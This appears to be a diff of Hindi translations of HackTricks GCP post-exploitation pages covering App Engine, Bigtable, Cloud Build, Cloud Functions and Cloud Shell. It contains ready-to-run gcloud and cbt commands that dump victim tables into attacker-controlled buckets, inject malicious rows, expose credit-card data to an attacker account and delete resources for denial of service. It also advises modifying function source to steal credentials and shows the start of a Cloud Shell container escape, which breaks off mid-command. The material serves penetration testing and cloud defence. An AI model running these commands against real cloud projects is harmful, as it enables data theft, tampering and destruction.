इस method के लिए एक और exploit script [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py) पाया जा सकता है।
|
||||
|
||||
**एक बकेट को सार्वजनिक रूप से सुलभ बनाना** बकेट पर पहुंच बनाए रखने का एक और तरीका है। इसे कैसे करना है, देखें:
|
||||
### सार्वजनिक पहुँच दें
|
||||
|
||||
**एक bucket को सार्वजनिक रूप से सुलभ बनाना** bucket तक पहुँच बनाए रखने का एक और तरीका है। इसे कैसे करना है देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-storage-post-exploitation.md
|
||||
|
||||
+16
-10
@@ -12,30 +12,36 @@ App Engine के बारे में जानकारी के लिए
|
||||
|
||||
### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`
|
||||
|
||||
इन अनुमतियों के साथ यह संभव है:
|
||||
इन permissions के साथ यह संभव है:
|
||||
|
||||
- एक कुंजी जोड़ें
|
||||
- कुंजियों की सूची बनाएं
|
||||
- कुंजियों की सूची देखें
|
||||
- एक कुंजी प्राप्त करें
|
||||
- हटाएं
|
||||
- कुंजी हटाएँ
|
||||
|
||||
> [!CAUTION]
|
||||
> हालाँकि, मैं **cli से इस जानकारी तक पहुँचने का कोई तरीका नहीं ढूंढ सका**, केवल **वेब कंसोल** से जहाँ आपको **कुंजी प्रकार** और **कुंजी नाम** जानना आवश्यक है, या एक **app engine चलाने वाले ऐप** से।
|
||||
> हालाँकि, मैंने **cli** से इस जानकारी तक पहुँचने का कोई तरीका नहीं पाया, केवल **web console** से जहाँ आपको **Key type** और **Key name** पता होना चाहिए, या a**pp engine running app** से।
|
||||
>
|
||||
> यदि आप इन अनुमतियों का उपयोग करने के लिए आसान तरीके जानते हैं तो एक पुल अनुरोध भेजें!
|
||||
> अगर आप इन permissions का उपयोग करने के आसान तरीके जानते हैं तो एक Pull Request भेजें!
|
||||
|
||||
### `logging.views.access`
|
||||
|
||||
इस अनुमति के साथ यह संभव है कि **ऐप के लॉग देखें**:
|
||||
इस permission से आप **App के logs देख सकते हैं**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Tail app logs</summary>
|
||||
```bash
|
||||
gcloud app logs tail -s <name>
|
||||
```
|
||||
### स्रोत कोड पढ़ें
|
||||
</details>
|
||||
|
||||
सभी संस्करणों और सेवाओं का स्रोत कोड **बकेट में संग्रहीत** है जिसका नाम **`staging.<proj-id>.appspot.com`** है। यदि आपके पास इसके ऊपर लिखने की अनुमति है, तो आप स्रोत कोड पढ़ सकते हैं और **कमजोरियों** और **संवेदनशील जानकारी** की खोज कर सकते हैं।
|
||||
### Source Code पढ़ें
|
||||
|
||||
### स्रोत कोड संशोधित करें
|
||||
सभी versions और services का source code **stored in the bucket** नाम **`staging.<proj-id>.appspot.com`** में होता है। यदि आपके पास इसका write access है तो आप source code पढ़कर **vulnerabilities** और **sensitive information** खोज सकते हैं।
|
||||
|
||||
यदि क्रेडेंशियल भेजे जा रहे हैं तो उन्हें चुराने के लिए स्रोत कोड को संशोधित करें या एक डिफेसमेंट वेब हमले को अंजाम दें।
|
||||
### Source Code संशोधित करें
|
||||
|
||||
यदि credentials भेजे जा रहे हों तो उन्हें चुराने के लिए source code संशोधित करें या defacement web attack करें।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+100
-40
@@ -11,30 +11,46 @@ Bigtable के बारे में अधिक जानकारी के
|
||||
{{#endref}}
|
||||
|
||||
> [!TIP]
|
||||
> ताकि नीचे दिए गए कमांड लोकली काम करें, Cloud SDK के माध्यम से एक बार `cbt` CLI इंस्टॉल करें:
|
||||
> `cbt` CLI को Cloud SDK के माध्यम से एक बार इंस्टॉल करें ताकि नीचे दिए गए कमांड्स स्थानीय रूप से काम करें:
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
> <summary>cbt CLI इंस्टॉल करें</summary>
|
||||
>
|
||||
> ```bash
|
||||
> gcloud components install cbt
|
||||
> ```
|
||||
>
|
||||
> </details>
|
||||
|
||||
### पंक्तियाँ पढ़ें
|
||||
|
||||
**अनुमतियाँ:** `bigtable.tables.readRows`
|
||||
|
||||
`cbt` Cloud SDK के साथ आता है और बिना किसी middleware के admin/data APIs से बात करता है। इसे समझौता किया गया प्रोजेक्ट/इंस्टेंस की ओर पॉइंट करें और टेबल से सीधे पंक्तियाँ निकालें। अगर आपको सिर्फ एक नज़र चाहिए तो स्कैन सीमित करें।
|
||||
`cbt` Cloud SDK के साथ आता है और किसी मध्यवर्ती सॉफ़्टवेयर की आवश्यकता के बिना admin/data APIs से संवाद करता है। इसे compromised project/instance पर पॉइंट करें और तालिका से सीधे rows dump करें। यदि आपको केवल एक नज़र चाहिए तो scan सीमित करें।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bigtable entries पढ़ें</summary>
|
||||
```bash
|
||||
# Install cbt
|
||||
gcloud components update
|
||||
gcloud components install cbt
|
||||
|
||||
# Read entries with creds of gcloud
|
||||
# Read entries with creds of gcloud
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
### पंक्तियाँ लिखें
|
||||
|
||||
**अनुमतियाँ:** `bigtable.tables.mutateRows`, (परिवर्तन की पुष्टि करने के लिए आपको `bigtable.tables.readRows` की आवश्यकता होगी).
|
||||
**अनुमतियाँ:** `bigtable.tables.mutateRows`, (आपको परिवर्तन की पुष्टि करने के लिए `bigtable.tables.readRows` की आवश्यकता होगी).
|
||||
|
||||
इसी टूल का उपयोग करके किसी भी सेल को upsert करें। यह backdoor configs, drop web shells, या plant poisoned dataset rows लगाने का सबसे तेज़ तरीका है।
|
||||
उसी टूल का उपयोग arbitrary cells को upsert करने के लिए करें। यह configs में backdoor लगाने, web shells डालने, या poisoned dataset rows प्लांट करने का सबसे तेज़ तरीका है।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>दुष्ट पंक्ति इंजेक्ट करें</summary>
|
||||
```bash
|
||||
# Inject a new row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
|
||||
@@ -44,16 +60,22 @@ cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 prof
|
||||
# Verify the injected row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
|
||||
```
|
||||
`cbt set` `@/path` सिंटैक्स के माध्यम से कच्चे बाइट्स स्वीकार करता है, इसलिए आप compiled payloads या serialized protobufs ठीक वैसे ही पुश कर सकते हैं जैसे downstream services उम्मीद करते हैं।
|
||||
</details>
|
||||
|
||||
`cbt set` कच्चे बाइट्स को `@/path` सिंटैक्स के माध्यम से स्वीकार करता है, इसलिए आप compiled payloads या serialized protobufs ठीक वैसे ही push कर सकते हैं जैसे downstream services उनसे उम्मीद करते हैं।
|
||||
|
||||
### अपनी bucket में rows डंप करें
|
||||
|
||||
**अनुमतियाँ:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
यह संभव है कि आप पूरे table की सामग्री को attacker द्वारा नियंत्रित किसी bucket में exfiltrate कर सकें, एक Dataflow job लॉन्च करके जो rows को आपके नियंत्रित GCS bucket में stream करता है।
|
||||
Dataflow job लॉन्च करके जो rows को आपके नियंत्रित GCS bucket में stream करता है, attacker द्वारा नियंत्रित bucket में पूरे table की सामग्री exfiltrate करना संभव है।
|
||||
|
||||
> [!NOTE]
|
||||
> ध्यान दें कि आपको permission `iam.serviceAccounts.actAs` उस SA पर चाहिए होगा जिसके पास export करने के लिए पर्याप्त permissions हों (डिफ़ॉल्ट रूप से, यदि अन्यथा निर्दिष्ट नहीं किया गया है, तो default compute SA का उपयोग किया जाएगा).
|
||||
> ध्यान दें कि export पूरा करने के लिए पर्याप्त permissions वाले किसी SA पर आपको `iam.serviceAccounts.actAs` permission की आवश्यकता होगी (डिफ़ॉल्ट रूप से, यदि अन्यथा निर्दिष्ट नहीं है, तो डिफ़ॉल्ट compute SA का उपयोग किया जाएगा)।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bigtable को GCS bucket में Export करें</summary>
|
||||
```bash
|
||||
gcloud dataflow jobs run <job-name> \
|
||||
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
|
||||
@@ -70,18 +92,23 @@ gcloud dataflow jobs run dump-bigtable3 \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
> [!NOTE]
|
||||
> यदि आप JSON की बजाय Parquet/SequenceFile आउटपुट चाहते हैं तो टेम्पलेट को `Cloud_Bigtable_to_GCS_Parquet` या `Cloud_Bigtable_to_GCS_SequenceFile` में बदलें। अनुमतियाँ समान रहती हैं; केवल टेम्पलेट पाथ बदलता है।
|
||||
|
||||
### पंक्तियाँ इम्पोर्ट करें
|
||||
|
||||
**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
एक Dataflow job लॉन्च करके जो पंक्तियों को आपके नियंत्रित GCS bucket में स्ट्रीम करता है, हमलावर द्वारा नियंत्रित एक bucket से पूरे टेबल की सामग्री आयात करना संभव है। इसके लिए हमलावर को पहले अपेक्षित schema के साथ आयात किए जाने वाले डेटा वाली एक parquet फ़ाइल बनानी होगी। हमलावर पिछली तकनीक का अनुसरण करके `Cloud_Bigtable_to_GCS_Parquet` सेटिंग के साथ डेटा को parquet फ़ॉर्मेट में पहले export कर सकता है और डाउनलोड की गई parquet फ़ाइल में नई प्रविष्टियाँ जोड़ सकता है।
|
||||
|
||||
</details>
|
||||
|
||||
> [!NOTE]
|
||||
> ध्यान दें कि export करने के लिए आपको पर्याप्त permissions वाले किसी SA पर `iam.serviceAccounts.actAs` permission की आवश्यकता होगी (डिफ़ॉल्ट रूप से, यदि अन्यथा सूचित न किया गया हो, तो डिफ़ॉल्ट compute SA का उपयोग किया जाएगा)।
|
||||
> टेम्पलेट को `Cloud_Bigtable_to_GCS_Parquet` या `Cloud_Bigtable_to_GCS_SequenceFile` में बदलें यदि आप JSON के बजाय Parquet/SequenceFile आउटपुट चाहते हैं। अनुमतियाँ वही रहेंगी; केवल टेम्पलेट पथ बदलता है।
|
||||
|
||||
### पंक्तियाँ आयात करें
|
||||
|
||||
**अनुमतियाँ:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
यह संभव है कि attacker द्वारा नियंत्रित बकेट से पूरे टेबल की सामग्री को आयात किया जाए, एक Dataflow job लॉन्च करके जो पंक्तियों को आपके नियंत्रित GCS बकेट में स्ट्रीम करे। इसके लिए attacker को पहले अपेक्षित schema के साथ आयात करने के लिए data वाला एक parquet फ़ाइल बनानी होगी। एक attacker पहले पिछले तकनीक का अनुसरण करते हुए डेटा को parquet फ़ॉर्मेट में export कर सकता है, सेटिंग `Cloud_Bigtable_to_GCS_Parquet` के साथ, और डाउनलोड की गई parquet फ़ाइल में नए एंट्री जोड़ सकता है।
|
||||
|
||||
> [!NOTE]
|
||||
> ध्यान दें कि आपको export को निष्पादित करने के लिए पर्याप्त permissions वाले किसी SA पर `iam.serviceAccounts.actAs` permission की आवश्यकता होगी (डिफ़ॉल्ट रूप से, यदि अन्यथा निर्दिष्ट नहीं है, तो default compute SA का उपयोग किया जाएगा)।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Import from GCS bucket to Bigtable</summary>
|
||||
```bash
|
||||
gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--region=<REGION> \
|
||||
@@ -98,11 +125,17 @@ gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
</details>
|
||||
|
||||
### बैकअप पुनर्स्थापना
|
||||
|
||||
**अनुमतियाँ:** `bigtable.backups.restore`, `bigtable.tables.create`.
|
||||
|
||||
इन अनुमतियों वाले attacker अपने नियंत्रण में एक नए टेबल में बैकअप पुनर्स्थापित कर सकता है ताकि वह पुराने संवेदनशील डेटा को पुनर्प्राप्त कर सके।
|
||||
एक हमलावर जिनके पास ये अनुमतियाँ हैं, वे अपने नियंत्रण में एक नए table में बैकअप पुनर्स्थापित कर सकते हैं ताकि पुराने संवेदनशील डेटा को पुनर्प्राप्त किया जा सके।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bigtable बैकअप पुनर्स्थापित करें</summary>
|
||||
```bash
|
||||
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
|
||||
--cluster=<CLUSTER_ID_SOURCE>
|
||||
@@ -114,16 +147,22 @@ gcloud bigtable instances tables restore \
|
||||
--destination-instance=<INSTANCE_ID_DESTINATION> \
|
||||
--project=<PROJECT_ID_DESTINATION>
|
||||
```
|
||||
</details>
|
||||
|
||||
### टेबल्स को पुनर्स्थापित करें
|
||||
|
||||
**अनुमतियाँ:** `bigtable.tables.undelete`
|
||||
|
||||
Bigtable soft-deletion को ग्रेस पीरियड (आमतौर पर डिफ़ॉल्ट रूप से 7 दिन) के साथ सपोर्ट करता है। इस विंडो के दौरान, `bigtable.tables.undelete` permission रखने वाला attacker हाल ही में डिलीट किए गए टेबल को restore कर सकता है और उसके सभी डेटा को recover कर सकता है, जिससे संभावित रूप से ऐसी संवेदनशील सूचनाएँ तक पहुँच बन सकती है जिन्हें नष्ट माना गया था।
|
||||
Bigtable soft-deletion का समर्थन करता है और इसमें एक ग्रेस पीरियड होता है (आमतौर पर डिफ़ॉल्ट रूप से 7 दिन)। इस अवधि के दौरान, `bigtable.tables.undelete` अनुमति रखने वाला एक हमलावर हाल ही में हटाए गए टेबल को पुनर्स्थापित कर सकता है और उसके सभी डेटा को पुनर्प्राप्त कर सकता है, जिससे उन संवेदनशील सूचनाओं तक पहुँच संभव हो सकती है जिन्हें नष्ट माना जा रहा था।
|
||||
|
||||
यह विशेष रूप से उपयोगी है:
|
||||
- incident response के दौरान defenders द्वारा डिलीट किए गए टेबल्स से डेटा recover करने के लिए
|
||||
- जानबूझकर purge किए गए ऐतिहासिक डेटा तक पहुँचने के लिए
|
||||
- आकस्मिक या malicious deletions को reverse करके persistence बनाए रखने के लिए
|
||||
- incident response के दौरान रक्षा टीम द्वारा हटाए गए टेबल्स से डेटा पुनर्प्राप्त करना
|
||||
- जानबूझकर हटाए गए ऐतिहासिक डेटा तक पहुँच
|
||||
- दुर्घटनावश या दुर्भावनापूर्ण हटाने को पूर्ववत करना ताकि persistence बनाए रखा जा सके
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bigtable टेबल को पुनर्स्थापित करें</summary>
|
||||
```bash
|
||||
# List recently deleted tables (requires bigtable.tables.list)
|
||||
gcloud bigtable instances tables list --instance=<instance-id> \
|
||||
@@ -133,17 +172,24 @@ gcloud bigtable instances tables list --instance=<instance-id> \
|
||||
gcloud bigtable instances tables undelete <table-id> \
|
||||
--instance=<instance-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> undelete ऑपरेशन केवल कॉन्फ़िगर की गई retention अवधि (डिफ़ॉल्ट 7 दिन) के भीतर ही काम करता है। इस विंडो के समाप्त होने के बाद, तालिका और इसके डेटा को स्थायी रूप से हटा दिया जाता है और इस विधि के माध्यम से पुनर्प्राप्त नहीं किया जा सकता।
|
||||
</details>
|
||||
|
||||
### Authorized Views बनाएँ
|
||||
> [!NOTE]
|
||||
> undelete ऑपरेशन केवल कॉन्फ़िगर किए गए रिटेंशन अवधि (डिफ़ॉल्ट 7 दिनों) के भीतर ही काम करता है। इस विंडो के समाप्त होने के बाद, तालिका और उसके डेटा स्थायी रूप से हटा दिए जाते हैं और इस विधि के माध्यम से पुनर्प्राप्त नहीं किए जा सकते।
|
||||
|
||||
|
||||
### अधिकृत व्यू बनाएं
|
||||
|
||||
**अनुमतियाँ:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
|
||||
|
||||
Authorized views आपको तालिका का एक curated उपसमुच्चय दर्शाने देती हैं। least privilege का पालन करने के बजाय, इनका उपयोग उस **बिलकुल वही संवेदनशील कॉलम/पंक्ति सेट** को प्रकाशित करने के लिए करें जिनकी आपको आवश्यकता है और अपने स्वयं के principal को whitelist करें।
|
||||
अधिकृत व्यू आपको तालिका का एक क्यूरेट किया हुआ उपसमुच्चय प्रस्तुत करने देते हैं। least privilege का पालन करने के बजाय, इनका उपयोग उन **ठीक वही संवेदनशील कॉलम/रो सेट्स** को प्रकाशित करने के लिए करें जिनकी आपको आवश्यकता है और अपने स्वयं के principal को व्हाइटलिस्ट करें।
|
||||
|
||||
> [!WARNING]
|
||||
> समस्या यह है कि एक authorized view बनाने के लिए आपको base table में rows पढ़ने और mutate करने की क्षमता भी चाहिए; इसलिए आपको कोई अतिरिक्त अनुमति प्राप्त नहीं होती — इसलिए यह तकनीक अधिकांशतः अनुपयोगी है।
|
||||
> असल में, एक अधिकृत व्यू बनाने के लिए आपको बेस तालिका में rows पढ़ने और mutate करने में सक्षम होना भी आवश्यक है; इसलिए आप कोई अतिरिक्त अनुमति प्राप्त नहीं कर रहे हैं, इसलिए यह तकनीक ज्यादातर बेकार है।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>अधिकृत व्यू बनाएं</summary>
|
||||
```bash
|
||||
cat <<'EOF' > /tmp/credit-cards.json
|
||||
{
|
||||
@@ -166,13 +212,19 @@ gcloud bigtable authorized-views add-iam-policy-binding card-dump \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
|
||||
```
|
||||
क्योंकि access view तक स्कोप किया जाता है, defenders अक्सर इस बात को अनदेखा कर देते हैं कि आपने अभी-अभी एक नया high-sensitivity endpoint बना दिया है।
|
||||
</details>
|
||||
|
||||
क्योंकि एक्सेस view तक सीमित होता है, सुरक्षा टीमें अक्सर इस बात की अनदेखी कर देती हैं कि आपने अभी एक नया high-sensitivity endpoint बना लिया है।
|
||||
|
||||
### Authorized Views पढ़ें
|
||||
|
||||
**अनुमतियाँ:** `bigtable.authorizedViews.readRows`
|
||||
|
||||
यदि आपके पास किसी Authorized View तक access है, तो आप Bigtable client libraries का उपयोग करके और अपने read requests में authorized view का नाम निर्दिष्ट करके उससे डेटा पढ़ सकते हैं। ध्यान रखें कि authorized view सम्भवतः तालिका से आप जो access कर सकते हैं उसे सीमित करेगा। नीचे Python का उपयोग करते हुए एक उदाहरण दिया गया है:
|
||||
यदि आपके पास किसी Authorized View तक पहुँच है, तो आप अपने read अनुरोधों में authorized view नाम निर्दिष्ट करके Bigtable client libraries का उपयोग कर उससे डेटा पढ़ सकते हैं। ध्यान दें कि authorized view संभवतः उस तालिका से आप क्या एक्सेस कर सकते हैं, इसे सीमित करेगा। नीचे Python का एक उदाहरण दिया गया है:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Authorized view से पढ़ें (Python)</summary>
|
||||
```python
|
||||
from google.cloud import bigtable
|
||||
from google.cloud.bigtable_v2 import BigtableClient as DataClient
|
||||
@@ -207,19 +259,25 @@ qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'v
|
||||
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
|
||||
print(f" {family}:{qualifier} = {value}")
|
||||
```
|
||||
</details>
|
||||
|
||||
### Denial of Service via Delete Operations
|
||||
|
||||
**Permissions:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
|
||||
**अनुमतियाँ:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
|
||||
|
||||
Bigtable के किसी भी delete permissions का उपयोग denial of service attacks के लिए किया जा सकता है। इन permissions वाले हमलावर महत्वपूर्ण Bigtable resources को हटाकर संचालन में व्यवधान डाल सकते हैं:
|
||||
Bigtable की किसी भी delete permissions का उपयोग denial of service attacks के लिए weaponize किया जा सकता है। इन permissions वाले attacker महत्वपूर्ण Bigtable resources को delete करके ऑपरेशन्स में बाधा डाल सकते हैं:
|
||||
|
||||
- **`bigtable.appProfiles.delete`**: application profiles को हटाना, जिससे क्लाइंट कनेक्शन और राउटिंग कॉन्फ़िगरेशन टूट सकते हैं
|
||||
- **`bigtable.authorizedViews.delete`**: authorized views को हटाना, जिससे applications के वैध एक्सेस पाथ कट सकते हैं
|
||||
- **`bigtable.appProfiles.delete`**: application profiles को delete करना, जिससे client connections और routing configurations टूट सकते हैं
|
||||
- **`bigtable.authorizedViews.delete`**: authorized views को हटाना, जिससे applications के वैध पहुंच मार्ग कट सकते हैं
|
||||
- **`bigtable.authorizedViews.deleteTagBinding`**: authorized views से tag bindings हटाना
|
||||
- **`bigtable.backups.delete`**: backup snapshots नष्ट करना, जिससे disaster recovery विकल्प खत्म हो जाते हैं
|
||||
- **`bigtable.clusters.delete`**: संपूर्ण clusters को हटाना, जिससे तुरंत डेटा उपलब्धता बाधित हो जाती है
|
||||
- **`bigtable.instances.delete`**: पूरे Bigtable instances को हटाना, जिससे सभी tables और configurations मिट जाते हैं
|
||||
- **`bigtable.tables.delete`**: व्यक्तिगत tables को हटाना, जिससे डेटा लॉस और application failures होते हैं
|
||||
- **`bigtable.backups.delete`**: backup snapshots को नष्ट करना, जिससे disaster recovery विकल्प समाप्त हो जाते हैं
|
||||
- **`bigtable.clusters.delete`**: पूरे clusters को delete करना, जिससे तुरंत डेटा अनुपलब्ध हो सकता है
|
||||
- **`bigtable.instances.delete`**: संपूर्ण Bigtable instances को हटाना, सभी tables और configurations को मिटा देना
|
||||
- **`bigtable.tables.delete`**: व्यक्तिगत tables को delete करना, जिससे डेटा हानि और application failures हो सकते हैं
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Delete Bigtable resources</summary>
|
||||
```bash
|
||||
# Delete a table
|
||||
gcloud bigtable instances tables delete <table-id> \
|
||||
@@ -244,7 +302,9 @@ gcloud bigtable clusters delete <cluster-id> \
|
||||
# Delete an entire instance
|
||||
gcloud bigtable instances delete <instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!WARNING]
|
||||
> हटाने के ऑपरेशन अक्सर तुरंत और अपरिवर्तनीय होते हैं। इन कमांड्स का परीक्षण करने से पहले बैकअप मौजूद होने की पुष्टि करें, क्योंकि ये स्थायी डेटा हानि और严重 सेवा व्यवधान का कारण बन सकते हैं।
|
||||
|
||||
> डेटा हटाने के ऑपरेशन अक्सर त्वरित और अपरिवर्तनीय होते हैं। परीक्षण करने से पहले बैकअप सुनिश्चित करें, क्योंकि ये स्थायी डेटा हानि और गंभीर सेवा व्यवधान का कारण बन सकते हैं।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+10
-4
@@ -1,10 +1,10 @@
|
||||
# GCP - क्लाउड बिल्ड पोस्ट एक्सप्लॉइटेशन
|
||||
# GCP - Cloud Build Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## क्लाउड बिल्ड
|
||||
## Cloud Build
|
||||
|
||||
क्लाउड बिल्ड के बारे में अधिक जानकारी के लिए देखें:
|
||||
Cloud Build के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-build-enum.md
|
||||
@@ -12,7 +12,11 @@
|
||||
|
||||
### `cloudbuild.builds.approve`
|
||||
|
||||
इस अनुमति के साथ आप **कोडबिल्ड जो अनुमतियों की आवश्यकता है** के निष्पादन को मंजूरी दे सकते हैं।
|
||||
इस अनुमति के साथ आप **codebuild जिन्हें अनुमोदन की आवश्यकता होती है** के निष्पादन को अनुमोदित कर सकते हैं।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Cloud Build निष्पादन को अनुमोदित करें</summary>
|
||||
```bash
|
||||
# Check the REST API in https://cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.builds/approve
|
||||
curl -X POST \
|
||||
@@ -24,4 +28,6 @@ object (ApprovalResult)
|
||||
}}' \
|
||||
"https://cloudbuild.googleapis.com/v1/projects/<PROJECT_ID>/locations/<LOCATION>/builds/<BUILD_ID>:approve"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+20
-6
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Functions
|
||||
|
||||
Cloud Functions के बारे में कुछ जानकारी प्राप्त करें:
|
||||
Cloud Functions के बारे में जानकारी देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,20 +12,30 @@ Cloud Functions के बारे में कुछ जानकारी
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeGet`
|
||||
|
||||
इस अनुमति के साथ आप **Cloud Function के स्रोत कोड को डाउनलोड करने के लिए एक साइन किया हुआ URL प्राप्त कर सकते हैं**:
|
||||
इस permission के साथ आप Cloud Function का स्रोत कोड डाउनलोड करने के लिए एक **signed URL** प्राप्त कर सकते हैं:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>स्रोत कोड डाउनलोड के लिए signed URL प्राप्त करें</summary>
|
||||
```bash
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
|
||||
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
### Cloud Function अनुरोध चुराना
|
||||
</details>
|
||||
|
||||
यदि Cloud Function संवेदनशील जानकारी का प्रबंधन कर रहा है जो उपयोगकर्ता भेज रहे हैं (जैसे पासवर्ड या टोकन), तो पर्याप्त विशेषाधिकार के साथ आप **फंक्शन का स्रोत कोड संशोधित कर सकते हैं और इस जानकारी को एक्सफिल्ट्रेट** कर सकते हैं।
|
||||
### Cloud Function अनुरोध चुराएँ
|
||||
|
||||
इसके अलावा, python में चलने वाले Cloud Functions **flask** का उपयोग करते हैं ताकि वेब सर्वर को उजागर किया जा सके, यदि आप किसी तरह फ्लास्क प्रक्रिया के अंदर कोड इंजेक्शन की कमजोरी (उदाहरण के लिए SSTI कमजोरी) खोज लेते हैं, तो यह संभव है कि आप **फंक्शन हैंडलर को ओवरराइड** कर सकें जो HTTP अनुरोध प्राप्त करने जा रहा है एक **दुष्ट फंक्शन** के लिए जो **अनुरोध को एक्सफिल्ट्रेट** कर सकता है इससे पहले कि इसे वैध हैंडलर को पास किया जाए।
|
||||
यदि Cloud Function उपयोगकर्ताओं द्वारा भेजी जा रही संवेदनशील जानकारी (e.g. passwords या tokens) को संभाल रहा है, तो पर्याप्त privileges होने पर आप इस जानकारी को **modify the source code of the function and exfiltrate** कर सकते हैं।
|
||||
|
||||
उदाहरण के लिए, यह कोड हमले को लागू करता है:
|
||||
इसके अलावा, python में चलने वाले Cloud Functions web server को expose करने के लिए **flask** का उपयोग करते हैं, यदि आप किसी तरह flaks process के अंदर code injection vulnerability (a SSTI vulnerability for example) ढूँढ लेते हैं, तो यह संभव है कि आप **override the function handler** कर सकें जो HTTP requests प्राप्त करने वाला है, और एक **malicious function** लगा कर वह अनुरोध **exfiltrate the request** कर ले जो legit handler को पास करने से पहले हो।
|
||||
|
||||
उदाहरण के लिए यह code इस attack को लागू करता है:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Steal Cloud Function requests (Python injection)</summary>
|
||||
```python
|
||||
import functions_framework
|
||||
|
||||
@@ -122,4 +132,8 @@ return "Injection completed!"
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+78
-18
@@ -1,33 +1,49 @@
|
||||
# GCP - Cloud Shell पोस्ट एक्सप्लॉइटेशन
|
||||
# GCP - Cloud Shell Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## क्लाउड शेल
|
||||
## Cloud Shell
|
||||
|
||||
क्लाउड शेल के बारे में अधिक जानकारी के लिए देखें:
|
||||
Cloud Shell के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### कंटेनर एस्केप
|
||||
### Container Escape
|
||||
|
||||
ध्यान दें कि Google Cloud Shell एक कंटेनर के अंदर चलता है, आप **आसानी से होस्ट पर भाग सकते हैं**:
|
||||
ध्यान दें कि Google Cloud Shell एक container के अंदर चलता है; आप नीचे दिए गए कमांड करके **easily escape to the host** कर सकते हैं:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Container escape commands</summary>
|
||||
```bash
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
|
||||
